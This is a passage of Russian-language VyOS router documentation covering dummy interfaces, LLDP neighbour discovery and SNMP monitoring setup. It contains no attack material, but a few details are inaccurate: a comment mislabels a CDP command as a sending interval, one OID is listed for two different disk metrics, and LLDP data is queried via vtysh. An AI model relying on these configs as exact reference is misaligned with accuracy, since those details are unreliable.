# dum2: Anycast DNS service (10.10.10.10/32)
```

### 7. Удаляйте неиспользуемые dummy

Очищайте конфигурацию от старых dummy:

```bash
# Удаление неиспользуемого dummy
delete interfaces dummy dum5
commit
save
```

### 8. Используйте consistent naming

Используйте последовательную схему именования:

```bash
# dum0 - Router ID / BGP endpoint
# dum1-dum9 - Test networks
# dum10+ - Special purposes
```

### 9. Мониторинг dummy использования

Отслеживайте, какие dummy используются:

```bash
show interfaces dummy
show configuration interfaces dummy
```

### 10. Безопасность

Для dummy с реальными IP не забывайте firewall:

```bash
set firewall ipv4 name LOCAL_IN rule 100 action accept
set firewall ipv4 name LOCAL_IN rule 100 destination address 192.168.255.1
set firewall ipv4 name LOCAL_IN rule 100 protocol tcp
set firewall ipv4 name LOCAL_IN rule 100 destination port 179  # BGP
```

## Полезные команды

```bash
# Показать все dummy интерфейсы
show interfaces dummy

# Детали конкретного dummy
show interfaces dummy dum0

# Конфигурация
show configuration interfaces dummy

# Создать dummy
set interfaces dummy dum0 address 192.168.255.1/32

# Добавить описание
set interfaces dummy dum0 description 'My description'

# Удалить dummy
delete interfaces dummy dum0

# Проверка состояния
show interfaces dummy dum0

# Ping dummy адреса
ping 192.168.255.1

# Проверка в routing table
show ip route 192.168.255.1

# OSPF database
show ip ospf database | match 192.168.255.1

# BGP routes
show ip bgp 192.168.255.1/32

# Kernel interface details
ip addr show dum0

# Логи
show log | match dum
```

## Примеры использования в реальных сценариях

### Anycast DNS с Dummy

Несколько роутеров анонсируют одинаковый IP для DNS сервиса:

**Роутер 1**:
```bash
set interfaces dummy dum0 address 10.10.10.10/32
set protocols ospf area 0 network 10.10.10.10/32

# DNS сервер слушает на этом IP
# (настроить DNS сервер отдельно)
```

**Роутер 2** (идентичная конфигурация):
```bash
set interfaces dummy dum0 address 10.10.10.10/32
set protocols ospf area 0 network 10.10.10.10/32
```

Клиенты направляются к ближайшему роутеру через OSPF metric.

### Тестирование firewall rules

```bash
# Dummy имитирует защищаемую сеть
set interfaces dummy dum0 address 192.168.50.1/24
set interfaces dummy dum0 description 'Firewall test network'

# Firewall rules для dummy
set firewall ipv4 name DUMMY_IN default-action drop
set firewall ipv4 name DUMMY_IN rule 10 action accept
set firewall ipv4 name DUMMY_IN rule 10 state established
set firewall ipv4 name DUMMY_IN rule 10 state related

set interfaces dummy dum0 firewall in name DUMMY_IN

# Тестирование с другого интерфейса
# ping 192.168.50.1
```

### Development и debugging

```bash
# Множественные dummy для development
set interfaces dummy dum0 address 172.16.0.1/24
set interfaces dummy dum0 description 'Dev: Frontend network'

set interfaces dummy dum1 address 172.16.1.1/24
set interfaces dummy dum1 description 'Dev: Backend network'

set interfaces dummy dum2 address 172.16.2.1/24
set interfaces dummy dum2 description 'Dev: Database network'

# Теперь можно тестировать routing между "сетями"
set protocols static route 172.16.1.0/24 next-hop 172.16.0.254
```

## Заключение

Dummy интерфейсы в VyOS - это универсальный инструмент для различных задач от тестирования до production routing. Они предоставляют стабильные, всегда доступные интерфейсы без привязки к физическому оборудованию.

Основные преимущества Dummy интерфейсов:
- Всегда в состоянии "up"
- Не требуют физического оборудования
- Гибкость в использовании (Router ID, BGP endpoint, blackhole, testing)
- Простота настройки
- Поддержка VRF

Рекомендации:
- Используйте Loopback для production Router ID
- Dummy для тестирования и специальных задач
- Всегда добавляйте description
- Документируйте назначение каждого dummy
- Удаляйте неиспользуемые dummy
- Используйте /32 для endpoint адресов
- Предпочитайте blackhole keyword для blackhole routing

Dummy интерфейсы - это мощный инструмент в арсенале сетевого инженера, обеспечивающий гибкость и надежность в различных сценариях от development до production environments.


---

# LLDP (Link Layer Discovery Protocol) в VyOS

Source: https://opennix.org/docs/vyos/services/vyos-lldp/



LLDP (Link Layer Discovery Protocol) - это стандартный протокол канального уровня (IEEE 802.1AB), используемый для автоматического обнаружения соседних сетевых устройств и обмена информацией о конфигурации. LLDP позволяет сетевым устройствам анонсировать свою идентификацию, возможности и соседей в локальной сети.

## Обзор

LLDP используется для:

- **Автоматического обнаружения топологии сети**: Определение физического подключения устройств
- **Документирования инфраструктуры**: Автоматический сбор информации о соседних устройствах
- **Диагностики**: Проверка корректности подключения кабелей
- **Мониторинга**: Интеграция с системами мониторинга для визуализации топологии
- **Инвентаризации**: Сбор информации о моделях, версиях ПО, серийных номерах

### Как работает LLDP

LLDP работает путем передачи специальных Ethernet-фреймов (multicast) на адрес `01:80:c2:00:00:0e`:

1. Устройство периодически отправляет LLDP-пакеты на все активные интерфейсы
2. Соседние устройства принимают эти пакеты и сохраняют информацию
3. Информация хранится в течение определенного времени (TTL)
4. Устройства также слушают LLDP-пакеты от соседей

### Передаваемая информация

LLDP может передавать следующие типы данных (TLVs - Type-Length-Value):

- **Chassis ID**: Уникальный идентификатор устройства (MAC-адрес, серийный номер)
- **Port ID**: Идентификатор порта/интерфейса
- **TTL**: Время жизни записи (обычно 120 секунд)
- **System Name**: Имя устройства (hostname)
- **System Description**: Описание системы (модель, версия ОС)
- **System Capabilities**: Возможности устройства (router, switch, bridge)
- **Management Address**: IP-адрес для управления
- **Port Description**: Описание порта
- **Port VLAN ID**: VLAN на порту (опционально)
- **Link Aggregation**: Информация о link aggregation (опционально)

### LLDP vs CDP

| Характеристика | LLDP | CDP (Cisco Discovery Protocol) |
|----------------|------|--------------------------------|
| Стандарт | IEEE 802.1AB (открытый) | Cisco proprietary |
| Поддержка | Все производители | Только Cisco |
| Multicast адрес | 01:80:c2:00:00:0e | 01:00:0c:cc:cc:cc |
| Интервал отправки | 30 секунд (по умолчанию) | 60 секунд |
| Рекомендация | Предпочтительно | Для Cisco-only сетей |

## Базовая конфигурация

### Включение LLDP

```bash
# Включить LLDP глобально
set service lldp

commit
save
```

После включения LLDP будет работать на всех интерфейсах по умолчанию.

### Просмотр соседей LLDP

```bash
# Показать всех соседей
show lldp neighbors

# Детальная информация о соседях
show lldp neighbors detail

# Соседи на конкретном интерфейсе
show lldp neighbors interface eth0
```

Пример вывода:

```
Interface    Device ID         Port ID    Capability
---------    ---------         -------    ----------
eth0         switch-core-01    Gi1/0/1    Bridge,Router
eth1         switch-access-02  Gi2/0/24   Bridge
```

### Настройка параметров LLDP

```bash
# Включить LLDP
set service lldp

# Интервал отправки LLDP-пакетов (в секундах)
set service lldp legacy-protocols cdp  # Опционально: для совместимости с CDP

# Management address (для доступа к устройству)
set service lldp management-address 192.168.1.1

commit
save
```

## Расширенная конфигурация

### Настройка LLDP на конкретных интерфейсах

```bash
# Включить LLDP
set service lldp

# Отключить LLDP на конкретном интерфейсе
set service lldp interface eth2 disable

# Включить обратно (удалить disable)
delete service lldp interface eth2 disable

commit
save
```

### Настройка описания для соседей

```bash
# Включить LLDP
set service lldp

# Установить location (физическое расположение)
set service lldp snmp location "DataCenter-1, Rack-15, RU-42"

commit
save
```

### Настройка legacy protocols (CDP)

Для совместимости с Cisco устройствами можно включить CDP:

```bash
# Включить LLDP с поддержкой CDP
set service lldp
set service lldp legacy-protocols cdp

commit
save
```

**Примечание**: CDP - это проприетарный протокол Cisco, но VyOS может слушать CDP-пакеты для совместимости.

### SNMP интеграция

```bash
# Включить LLDP
set service lldp

# Установить SNMP location для LLDP
set service lldp snmp location "Building-A, Floor-3, Room-301"

# Включить SNMP для доступа к LLDP MIB
set service snmp community public authorization ro
set service snmp listen-address 0.0.0.0

commit
save
```

LLDP MIB (LLDP-MIB) доступен через SNMP:
- OID базовый: `1.0.8802.1.1.2`
- Локальная информация: `1.0.8802.1.1.2.1.3`
- Удаленная информация: `1.0.8802.1.1.2.1.4`

## Примеры конфигураций

### Пример 1: Базовая конфигурация LLDP

```bash
# Включить LLDP на всех интерфейсах
set service lldp

# Установить management address
set service lldp management-address 192.168.1.1

# Установить location
set service lldp snmp location "Main Office, Network Closet A"

commit
save
```

Проверка:

```bash
show lldp neighbors
show lldp neighbors detail
```

### Пример 2: LLDP в среде с Cisco устройствами

```bash
# Включить LLDP с CDP compatibility
set service lldp
set service lldp legacy-protocols cdp

# Management address
set service lldp management-address 10.0.0.1

commit
save
```

Проверка Cisco соседей:

```bash
show lldp neighbors
# Или на Cisco стороне:
# show cdp neighbors
```

### Пример 3: Селективное включение LLDP

```bash
# Включить LLDP глобально
set service lldp

# Отключить на интерфейсах к конечным пользователям (security)
set service lldp interface eth2 disable
set service lldp interface eth3 disable

# Оставить включенным на uplink интерфейсах (eth0, eth1)

commit
save
```

### Пример 4: LLDP для документирования ЦОДа

```bash
# Включить LLDP
set service lldp

# Детальная информация о расположении
set service lldp snmp location "DC1, Pod-3, Rack-15, RU-42, Row-G"

# Management address
set service lldp management-address 10.255.255.1

# SNMP для мониторинга
set service snmp community monitoring authorization ro
set service snmp community monitoring network 10.0.0.0/8

commit
save
```

### Пример 5: LLDP с автоматизацией (Ansible)

Конфигурация VyOS:

```bash
# Включить LLDP
set service lldp
set service lldp management-address 192.168.1.1

commit
save
```

Ansible playbook для сбора LLDP информации:

```yaml
- name: Collect LLDP information from VyOS routers
  hosts: vyos_routers
  gather_facts: no

  tasks:
    - name: Get LLDP neighbors
      vyos.vyos.vyos_command:
        commands:
          - show lldp neighbors detail
      register: lldp_output

    - name: Display LLDP neighbors
      debug:
        var: lldp_output.stdout_lines

    - name: Save to file
      copy:
        content: "{{ lldp_output.stdout[0] }}"
        dest: "./lldp_{{ inventory_hostname }}.txt"
```

### Пример 6: LLDP мониторинг с LibreNMS

VyOS конфигурация:

```bash
# LLDP
set service lldp
set service lldp management-address 192.168.1.1

# SNMP для LibreNMS
set service snmp community librenms authorization ro
set service snmp community librenms network 192.168.1.0/24
set service snmp listen-address 0.0.0.0

commit
save
```

LibreNMS автоматически обнаружит LLDP соседей и построит карту топологии.

## Мониторинг и диагностика

### Просмотр LLDP соседей

```bash
# Все соседи (краткий формат)
show lldp neighbors

# Детальная информация о всех соседях
show lldp neighbors detail

# Соседи на конкретном интерфейсе
show lldp neighbors interface eth0

# Информация о конкретном соседе
show lldp neighbors interface eth0 detail
```

### Примеры вывода

**Краткий формат**:

```
Capability Codes: R - Router, B - Bridge, W - Wlan r - Repeater, S - Station
                  D - Docsis, T - Telephone, O - Other

Interface    Local    Remote           Remote               Capability
             Port ID  Chassis ID       Port ID
---------    -------  --------------   -------------------  ----------
eth0         eth0     00:1b:21:d4:d0   GigabitEthernet1/0/1 B,R
eth1         eth1     00:1b:21:d4:d1   GigabitEthernet2/0/5 B
```

**Детальный формат**:

```
Interface: eth0
  Chassis ID: 00:1b:21:d4:d0:00
  System Name: switch-core-01
  System Description: Cisco IOS Software, Version 15.2(4)E
  Port ID: GigabitEthernet1/0/1
  Port Description: Uplink to VyOS Router
  Capability: Bridge, Router
  Management Address: 192.168.1.10
  Time to Live: 120 seconds
```

### Проверка локальной информации

```bash
# Локальная информация LLDP
show lldp interface

# Детали локального интерфейса
show lldp interface eth0
```

### Отладка LLDP

```bash
# Проверка работы LLDP демона
show log | match lldp

# Проверка процесса lldpd
ps aux | grep lldpd

# Restart LLDP service (если необходимо)
sudo systemctl restart lldpd

# Статус сервиса
sudo systemctl status lldpd
```

### Мониторинг LLDP пакетов

```bash
# Захват LLDP пакетов на интерфейсе
sudo tcpdump -i eth0 -vv ether proto 0x88cc

# Или с использованием multicast адреса
sudo tcpdump -i eth0 ether dst 01:80:c2:00:00:0e
```

### SNMP мониторинг LLDP

```bash
# Получение LLDP информации через SNMP
snmpwalk -v2c -c public 192.168.1.1 LLDP-MIB::lldpRemTable

# Локальная информация
snmpwalk -v2c -c public 192.168.1.1 LLDP-MIB::lldpLocPortTable

# Удаленные устройства
snmpwalk -v2c -c public 192.168.1.1 LLDP-MIB::lldpRemChassisId
```

## Устранение неполадок

### Проблема: LLDP соседи не обнаруживаются

**Диагностика**:

```bash
# 1. Проверка, что LLDP включен
show configuration service lldp

# 2. Проверка интерфейса (не disabled ли)
show configuration service lldp interface

# 3. Проверка статуса интерфейса
show interfaces

# 4. Захват трафика LLDP
sudo tcpdump -i eth0 ether proto 0x88cc

# 5. Проверка логов
show log | match lldp
```

**Решение**:

```bash
# Включить LLDP, если отключен
set service lldp

# Убедиться, что интерфейс не disabled
delete service lldp interface eth0 disable

# Проверить, что интерфейс up
show interfaces ethernet eth0

commit
save

# Перезапуск LLDP daemon (если необходимо)
sudo systemctl restart lldpd
```

### Проблема: LLDP работает, но не передается нужная информация

**Причина**: Некоторая информация может не передаваться по умолчанию.

**Решение**:

```bash
# Убедиться, что установлен management address
set service lldp management-address 192.168.1.1

# Установить location
set service lldp snmp location "Building-A, Floor-2"

commit
save
```

### Проблема: LLDP не работает с Cisco устройствами

**Причина**: Cisco может использовать CDP вместо LLDP.

**Решение**:

На VyOS:

```bash
# Включить CDP compatibility
set service lldp legacy-protocols cdp

commit
save
```

На Cisco:

```
# Включить LLDP (если не включен)
lldp run

# На интерфейсах
interface GigabitEthernet1/0/1
  lldp transmit
  lldp receive
```

### Проблема: LLDP соседи появляются и исчезают

**Причина**: TTL (Time To Live) истекает быстрее, чем приходят новые пакеты.

**Диагностика**:

```bash
# Проверка TTL в детальной информации
show lldp neighbors detail

# Мониторинг исчезновений
watch -n 5 'show lldp neighbors'
```

**Решение**:

Проблема обычно на стороне соседа. Проверить:
- Интервал отправки LLDP-пакетов на соседнем устройстве
- Нагрузка на процессор соседнего устройства
- Проблемы с кабелем или портом

### Проблема: LLDP показывает неправильную информацию

**Причина**: Кэшированная информация от старого соседа.

**Решение**:

```bash
# Перезапуск LLDP для очистки кэша
sudo systemctl restart lldpd

# Подождать 30-60 секунд для получения новых LLDP-пакетов
sleep 60

# Проверка
show lldp neighbors
```

### Проблема: SNMP не возвращает LLDP информацию

**Диагностика**:

```bash
# Проверка SNMP конфигурации
show configuration service snmp

# Тест SNMP доступа
snmpwalk -v2c -c public localhost SNMPv2-MIB::sysDescr

# Проверка LLDP MIB
snmpwalk -v2c -c public localhost LLDP-MIB::lldpLocChassisId
```

**Решение**:

```bash
# Убедиться, что SNMP включен
set service snmp community public authorization ro
set service snmp listen-address 0.0.0.0

commit
save

# Перезапуск SNMP
sudo systemctl restart snmpd
```

## Интеграция с системами мониторинга

### LibreNMS

LibreNMS автоматически обнаруживает и визуализирует LLDP топологию.

**Конфигурация VyOS**:

```bash
set service lldp
set service lldp management-address 192.168.1.1
set service snmp community librenms authorization ro
set service snmp listen-address 0.0.0.0

commit
save
```

**В LibreNMS**:
1. Добавить устройство через Web UI или CLI
2. LibreNMS автоматически обнаружит LLDP соседей
3. Карта топологии будет построена автоматически (Map → Topology)

### Observium

**Конфигурация VyOS**:

```bash
set service lldp
set service lldp management-address 192.168.1.1
set service snmp community observium authorization ro
set service snmp listen-address 0.0.0.0

commit
save
```

Observium использует LLDP MIB для построения карты сети.

### Zabbix

**Конфигурация VyOS**:

```bash
set service lldp
set service lldp management-address 192.168.1.1
set service snmp community zabbix authorization ro
set service snmp v3 user zabbix auth type sha
set service snmp v3 user zabbix auth plaintext-password 'AuthPassword123!'
set service snmp v3 user zabbix privacy type aes
set service snmp v3 user zabbix privacy plaintext-password 'PrivPassword123!'

commit
save
```

Zabbix template для LLDP мониторинга использует SNMP discovery для автоматического обнаружения соседей.

### Netbox

Netbox может импортировать LLDP данные через API или скрипты.

**Скрипт для экспорта LLDP в JSON**:

```bash
#!/bin/bash

# Получение LLDP neighbors в JSON формате
vtysh -c "show lldp neighbors detail json" > /tmp/lldp_neighbors.json

# Отправка в Netbox через API
curl -X POST https://netbox.example.com/api/dcim/cables/ \
  -H "Authorization: Token YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d @/tmp/lldp_neighbors.json
```

### Grafana + Prometheus

LLDP данные можно экспортировать через SNMP exporter для Prometheus.

**Prometheus SNMP exporter config**:

```yaml
modules:
  lldp:
    walk:
      - 1.0.8802.1.1.2  # LLDP-MIB
    metrics:
      - name: lldpRemSysName
        oid: 1.0.8802.1.1.2.1.4.1.1.9
        type: DisplayString
```

## Лучшие практики

### 1. Всегда включать LLDP

Включайте LLDP на всех сетевых устройствах для автоматического документирования:

```bash
set service lldp
set service lldp management-address <mgmt-ip>
```

### 2. Установка информативного location

Используйте детальное описание физического расположения:

```bash
set service lldp snmp location "DC-Moscow, Building-2, Floor-3, Rack-A15, RU-42"
```

### 3. Отключение LLDP на untrusted интерфейсах

Отключайте LLDP на портах, доступных конечным пользователям (security):

```bash
set service lldp interface eth2 disable  # User-facing port
set service lldp interface eth3 disable  # Guest network
```

### 4. CDP compatibility для смешанных сред

В сетях с Cisco оборудованием включайте CDP:

```bash
set service lldp legacy-protocols cdp
```

### 5. SNMP интеграция для мониторинга

Всегда настраивайте SNMP для доступа к LLDP MIB:

```bash
set service snmp community monitoring authorization ro
```

### 6. Регулярная проверка топологии

Периодически проверяйте LLDP соседей для обнаружения изменений:

```bash
show lldp neighbors
```

Используйте автоматизацию (Ansible, Python) для регулярного аудита.

### 7. Документирование через описания интерфейсов

Используйте описания интерфейсов в сочетании с LLDP:

```bash
set interfaces ethernet eth0 description "Uplink to switch-core-01 Gi1/0/1"
```

### 8. Мониторинг изменений топологии

Настройте алерты на изменения LLDP соседей в системах мониторинга для обнаружения:
- Неавторизованных подключений
- Замены оборудования
- Проблем с кабелями

### 9. Использование management VLAN

Настройте management address из выделенного management VLAN:

```bash
set interfaces ethernet eth0 vif 99 address 10.255.255.1/24
set service lldp management-address 10.255.255.1
```

### 10. Резервное копирование LLDP данных

Периодически сохраняйте вывод LLDP для документации:

```bash
show lldp neighbors detail > /config/lldp-backup-$(date +%Y%m%d).txt
```

## Полезные команды

```bash
# Показать всех LLDP соседей
show lldp neighbors

# Детальная информация
show lldp neighbors detail

# Соседи на конкретном интерфейсе
show lldp neighbors interface eth0

# Локальная информация LLDP
show lldp interface

# Конфигурация LLDP
show configuration service lldp

# Логи LLDP
show log | match lldp

# Захват LLDP пакетов
sudo tcpdump -i eth0 ether proto 0x88cc

# SNMP запрос LLDP данных
snmpwalk -v2c -c public localhost LLDP-MIB::lldpRemTable

# Статус LLDP демона
sudo systemctl status lldpd

# Перезапуск LLDP
sudo systemctl restart lldpd

# Сохранение LLDP информации в файл
show lldp neighbors detail > /tmp/lldp-neighbors.txt
```

## Интеграция с автоматизацией

### Python скрипт для сбора LLDP данных

```python
#!/usr/bin/env python3

import subprocess
import json
import re

def get_lldp_neighbors():
    """Получение LLDP соседей с VyOS роутера"""
    try:
        # Выполнение команды через SSH или локально
        result = subprocess.run(
            ['vtysh', '-c', 'show lldp neighbors detail'],
            capture_output=True,
            text=True
        )

        # Парсинг вывода
        neighbors = []
        current = {}

        for line in result.stdout.splitlines():
            if line.startswith('Interface:'):
                if current:
                    neighbors.append(current)
                current = {'interface': line.split(':')[1].strip()}
            elif 'System Name:' in line:
                current['system_name'] = line.split(':')[1].strip()
            elif 'Port ID:' in line:
                current['port_id'] = line.split(':')[1].strip()
            elif 'Management Address:' in line:
                current['mgmt_address'] = line.split(':')[1].strip()

        if current:
            neighbors.append(current)

        return neighbors

    except Exception as e:
        print(f"Error: {e}")
        return []

if __name__ == '__main__':
    neighbors = get_lldp_neighbors()
    print(json.dumps(neighbors, indent=2))
```

### Ansible playbook для LLDP аудита

```yaml
- name: LLDP Topology Audit
  hosts: vyos_routers
  gather_facts: no

  tasks:
    - name: Collect LLDP neighbors
      vyos.vyos.vyos_command:
        commands:
          - show lldp neighbors detail
      register: lldp_data

    - name: Parse and validate topology
      set_fact:
        lldp_neighbors: "{{ lldp_data.stdout[0] | parse_lldp }}"

    - name: Check for unexpected neighbors
      debug:
        msg: "WARNING: Unexpected neighbor detected!"
      when: "'unknown' in lldp_neighbors"

    - name: Generate topology report
      template:
        src: topology_report.j2
        dest: "./reports/{{ inventory_hostname }}_lldp.html"
```

## Заключение

LLDP (Link Layer Discovery Protocol) - это важный инструмент для автоматического обнаружения и документирования сетевой топологии. VyOS предоставляет полную поддержку LLDP с дополнительной совместимостью с Cisco CDP.

Основные преимущества LLDP:
- Автоматическое обнаружение соседних устройств
- Стандартизированный протокол (IEEE 802.1AB)
- Интеграция с системами мониторинга через SNMP
- Упрощение документирования инфраструктуры
- Диагностика проблем подключения

Рекомендации для production:
- Включайте LLDP на всех сетевых устройствах
- Отключайте LLDP на untrusted портах для безопасности
- Используйте детальные location descriptions
- Интегрируйте с системами мониторинга (LibreNMS, Zabbix, Observium)
- Регулярно аудируйте топологию через LLDP данные
- Документируйте изменения в топологии

LLDP в VyOS обеспечивает надежное обнаружение топологии и интегрируется со всеми современными системами мониторинга, делая управление сетевой инфраструктурой более эффективным.


---

# SNMP мониторинг в VyOS

Source: https://opennix.org/docs/vyos/services/vyos-snmp/



SNMP обеспечивает мониторинг и управление сетевым оборудованием. VyOS поддерживает SNMP v1, v2c, и v3, позволяя интегрировать роутер с системами мониторинга (Nagios, Zabbix, PRTG, LibreNMS) и получать метрики о производительности, статусе интерфейсов, и других параметрах.

## Обзор

### Что такое SNMP

**Simple Network Management Protocol**:
- Протокол для мониторинга сетевых устройств
- Сбор метрик (CPU, memory, bandwidth, interfaces)
- Алерты через SNMP traps
- Стандартизированные MIB (Management Information Base)

### Версии SNMP

**SNMPv1**:
- Базовая версия
- Community strings для аутентификации
- Не encrypted
- Устаревшая, но широко поддерживается

**SNMPv2c**:
- Улучшенная производительность
- Community strings
- Bulk operations
- Не encrypted
- Наиболее используемая версия

**SNMPv3**:
- Аутентификация и encryption
- User-based security
- Рекомендуется для production
- Более сложная конфигурация

### SNMP компоненты

**Agent**:
- Запущен на VyOS
- Отвечает на SNMP запросы
- Отправляет traps

**Manager** (NMS - Network Management System):
- Мониторинг система (Zabbix, Nagios, etc.)
- Делает SNMP queries
- Получает traps

**MIB (Management Information Base)**:
- База данных объектов
- OID (Object Identifier) - уникальный ID
- Standard MIBs (IF-MIB, HOST-RESOURCES-MIB, etc.)

### SNMP операции

- **GET** - получить значение OID
- **GETNEXT** - получить следующий OID
- **GETBULK** - получить множественные OID (SNMPv2c/v3)
- **SET** - установить значение (опасно, обычно disabled)
- **TRAP** - асинхронное уведомление от agent

## Базовая конфигурация

### SNMPv2c (простая конфигурация)

```bash
# Community string (read-only)
set service snmp community public authorization ro

# Разрешить доступ с monitoring server
set service snmp community public network 192.168.1.0/24

# Location и contact
set service snmp location 'Data Center - Rack A12'
set service snmp contact 'admin@company.com'

# Listen address
set service snmp listen-address 0.0.0.0 port 161

commit
save
```

### Проверка SNMP

```bash
# На VyOS проверить service
show service snmp

# С monitoring server
snmpwalk -v2c -c public 192.168.1.1

# Specific OID (system description)
snmpget -v2c -c public 192.168.1.1 1.3.6.1.2.1.1.1.0
```

### SNMPv3 (secure)

```bash
# User с аутентификацией и encryption
set service snmp v3 user monitor auth type md5
set service snmp v3 user monitor auth plaintext-password 'AuthPassword123!'
set service snmp v3 user monitor privacy type aes
set service snmp v3 user monitor privacy plaintext-password 'PrivPassword456!'

# Security level
set service snmp v3 user monitor mode ro

# View (ограничение доступа к MIB)
set service snmp v3 view default oid 1.3.6.1

# Group
set service snmp v3 group monitoring mode ro
set service snmp v3 group monitoring view default

# User в group
set service snmp v3 user monitor group monitoring

# Listen
set service snmp listen-address 0.0.0.0 port 161

commit
save
```

**SNMPv3 test**:
```bash
snmpwalk -v3 -l authPriv -u monitor \
  -a MD5 -A 'AuthPassword123!' \
  -x AES -X 'PrivPassword456!' \
  192.168.1.1
```

## Communities (SNMPv1/v2c)

### Read-only community

```bash
# Public community (не используйте в production!)
set service snmp community public authorization ro
set service snmp community public network 192.168.1.0/24

# Private community (лучше)
set service snmp community SecretMonitoring authorization ro
set service snmp community SecretMonitoring network 192.168.1.100/32

commit
```

### Read-write community

```bash
# Read-write (опасно!)
set service snmp community admin authorization rw
set service snmp community admin network 192.168.1.100/32

commit
```

**Внимание**: RW access позволяет изменять конфигурацию через SNMP SET. Используйте осторожно.

### Множественные communities

```bash
# Monitoring system
set service snmp community zabbix authorization ro
set service snmp community zabbix network 192.168.1.100/32

# Backup monitoring
set service snmp community nagios authorization ro
set service snmp community nagios network 192.168.1.101/32

# Management network
set service snmp community private authorization ro
set service snmp community private network 10.0.0.0/8

commit
```

## SNMPv3 Configuration

### Users и authentication

```bash
# User 1: MD5 auth, AES encryption
set service snmp v3 user monitor1 auth type md5
set service snmp v3 user monitor1 auth plaintext-password 'StrongAuth1!'
set service snmp v3 user monitor1 privacy type aes
set service snmp v3 user monitor1 privacy plaintext-password 'StrongPriv1!'
set service snmp v3 user monitor1 mode ro

# User 2: SHA auth, DES encryption
set service snmp v3 user monitor2 auth type sha
set service snmp v3 user monitor2 auth plaintext-password 'StrongAuth2!'
set service snmp v3 user monitor2 privacy type des
set service snmp v3 user monitor2 privacy plaintext-password 'StrongPriv2!'
set service snmp v3 user monitor2 mode ro

commit
```

### Views (ограничение MIB access)

```bash
# Default view (весь MIB tree)
set service snmp v3 view default oid 1.3.6.1

# Limited view (только interfaces)
set service snmp v3 view interfaces-only oid 1.3.6.1.2.1.2

# System view
set service snmp v3 view system-only oid 1.3.6.1.2.1.1

commit
```

### Groups

```bash
# Monitoring group
set service snmp v3 group monitoring mode ro
set service snmp v3 group monitoring view default

# Admin group (read-write)
set service snmp v3 group admin mode rw
set service snmp v3 group admin view default

# Assign users to groups
set service snmp v3 user monitor1 group monitoring
set service snmp v3 user admin1 group admin

commit
```

### Security levels

**noAuthNoPriv** - no authentication, no encryption:
```bash
set service snmp v3 user public mode ro
# Не используйте в production
```

**authNoPriv** - authentication, no encryption:
```bash
set service snmp v3 user monitor auth type md5
set service snmp v3 user monitor auth plaintext-password 'AuthPass!'
set service snmp v3 user monitor mode ro
# Privacy не настроен
```

**authPriv** - authentication и encryption (рекомендуется):
```bash
set service snmp v3 user secure auth type sha
set service snmp v3 user secure auth plaintext-password 'AuthPass!'
set service snmp v3 user secure privacy type aes
set service snmp v3 user secure privacy plaintext-password 'PrivPass!'
set service snmp v3 user secure mode ro
```

## SNMP Traps

### Trap configuration

```bash
# Trap target (monitoring server)
set service snmp trap-target 192.168.1.100 community 'trapCommunity'
set service snmp trap-target 192.168.1.100 port 162

# SNMPv3 trap
set service snmp v3 trap-target 192.168.1.100 user trapuser
set service snmp v3 trap-target 192.168.1.100 auth type md5
set service snmp v3 trap-target 192.168.1.100 auth plaintext-password 'TrapAuth!'
set service snmp v3 trap-target 192.168.1.100 privacy type aes
set service snmp v3 trap-target 192.168.1.100 privacy plaintext-password 'TrapPriv!'

commit
```

### Trap triggers

VyOS автоматически отправляет traps для:
- Link up/down events
- Cold start (router reboot)
- Authentication failures

## Listen configuration

### Listen addresses

```bash
# Listen на всех интерфейсах
set service snmp listen-address 0.0.0.0 port 161

# Или specific interfaces
set service snmp listen-address 192.168.1.1 port 161
set service snmp listen-address 10.0.0.1 port 161

# IPv6
set service snmp listen-address ::0 port 161

commit
```

### Custom port

```bash
# Нестандартный порт (security through obscurity)
set service snmp listen-address 0.0.0.0 port 10161

commit
```

**Примечание**: Большинство NMS ожидают port 161.

## Common OIDs

### System information

```bash
# System description
1.3.6.1.2.1.1.1.0

# System uptime
1.3.6.1.2.1.1.3.0

# System contact
1.3.6.1.2.1.1.4.0

# System name (hostname)
1.3.6.1.2.1.1.5.0

# System location
1.3.6.1.2.1.1.6.0
```

### Interfaces

```bash
# Interface table
1.3.6.1.2.1.2.2

# Interface names
1.3.6.1.2.1.31.1.1.1.1

# Interface status (up/down)
1.3.6.1.2.1.2.2.1.8

# Interface speed
1.3.6.1.2.1.2.2.1.5

# Interface in octets (RX)
1.3.6.1.2.1.2.2.1.10

# Interface out octets (TX)
1.3.6.1.2.1.2.2.1.16
```

### CPU и Memory

```bash
# CPU usage (HOST-RESOURCES-MIB)
1.3.6.1.2.1.25.3.3.1.2

# Memory total
1.3.6.1.2.1.25.2.2.0

# Memory used
1.3.6.1.4.1.2021.4.6.0
```

### Storage

```bash
# Disk usage
1.3.6.1.4.1.2021.9.1.9

# Disk percentage
1.3.6.1.4.1.2021.9.1.9
```

## Integration с Monitoring Systems

### Zabbix

**SNMP template для VyOS**:

1. Zabbix → Configuration → Hosts → Create host
2. Host name: `vyos-router`
3. Groups: `Network devices`
4. Interfaces: SNMP
   - IP: `192.168.1.1`
   - Port: `161`
   - SNMP version: `SNMPv2`
   - SNMP community: `{$SNMP_COMMUNITY}`
5. Templates: Link template
   - `Template Net Network Generic Device SNMP`
   - `Template Module Interfaces SNMP`

**Macros**:
```
{$SNMP_COMMUNITY} = SecretMonitoring
{$IF_ERRORS_WARN} = 2
{$BANDWIDTH_WARN} = 80
```

**Custom items**:
```
Name: CPU Usage
Type: SNMP agent
Key: system.cpu.util
SNMP OID: 1.3.6.1.4.1.2021.11.9.0
Type of information: Numeric (float)
Units: %
```

### Nagios

**SNMP checks**:

```bash
# Install plugin
apt-get install nagios-plugins-snmp

# Check interface status
/usr/lib/nagios/plugins/check_snmp -H 192.168.1.1 \
  -C public \
  -o 1.3.6.1.2.1.2.2.1.8.2 \
  -r 1 -m RFC1213-MIB

# Check CPU
/usr/lib/nagios/plugins/check_snmp -H 192.168.1.1 \
  -C public \
  -o 1.3.6.1.4.1.2021.11.9.0 \
  -w 80 -c 90

# Check bandwidth
/usr/lib/nagios/plugins/check_snmp -H 192.168.1.1 \
  -C public \
  -o 1.3.6.1.2.1.2.2.1.10.2 \
  -w 100000000 -c 150000000
```

**Nagios config** (`/etc/nagios/objects/vyos.cfg`):
```
define host{
    use                     generic-switch
    host_name               vyos-router
    alias                   VyOS Router
    address                 192.168.1.1
    _snmp_community         public
}

define service{
    use                     generic-service
    host_name               vyos-router
    service_description     SNMP - CPU Usage
    check_command           check_snmp_cpu!80!90
}
```

### LibreNMS

**Add device**:

1. Devices → Add Device
2. Hostname: `192.168.1.1`
3. SNMP Version: `v2c`
